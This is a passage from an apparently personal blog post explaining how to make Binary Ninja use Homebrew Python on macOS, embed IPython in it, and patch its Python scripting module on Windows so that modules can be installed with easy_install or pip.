	sys.stdout = _PythonScriptingInstanceOutput(sys.stdout, False)
	sys.stderr = _PythonScriptingInstanceOutput(sys.stderr, True)

Now if you normally use Python installed via brew (as you should be doing) run:

DYLD_FRAMEWORK_PATH=/usr/local/opt/python/Frameworks /Applications/Binary\ Ninja.app/Contents/MacOS/binaryninja

Binja should open up except instead of using the built-in system Python it will now use the brew installed Python.

Now open the Python console and run:

from IPython import embed; embed()

and IPython and all its tab-complete goodness and syntax highlighting should be visible in the terminal that started binja.

Installing Python modules

If you're on OSX you can simply use DYLD_FRAMEWORK_PATH to get binja to use Brew Python and by extension, the modules installed by pip.

If you're on Windows, you should apply some patches to the __init__.py file located at

C:\Program Files\Vector35\BinaryNinja\python\binaryninja\__init__.py

By adding the flush() method to _PythonScriptingInstanceInput and _PythonScriptingInstanceOutput you increase the usability of the built in Python console.

class _PythonScriptingInstanceOutput(object):
	# ...
	def flush(self):
		pass

You may need to give your user the permission to edit C:\Program Files\Vector35\BinaryNinja\plugins\Lib\site-packages and also create C:\Program Files\Vector35\BinaryNinja\plugins\Scripts

From here you can go into the binja Python console and enter:

from setuptools.command import easy_install
easy_install.main( ["-U","requests"] )

Between module installs you may need to restart binja to get the interpreter to recognize the new modules but it should work properly if you don't have the commercial version.

If you feel like being ambitious you can install IPython through this method as well but because of the modified _PythonScriptingInstanceInput and _PythonScriptingInstanceOutput IPython is somewhat stunted and you don't get colors or the almighty tab complete so it's really not worth mentioning yet.

You can try to use pip through a similar method but I've had less success with it unless I ran it from __init__.py before the _PythonScriptingInstance* classes stole stdin/stdout/stderr away:

import pip
pip.main(['install', 'requests'])

I hope these tricks are useful to you if you use Binary Ninja.

This post was written with the help of David Manouchehri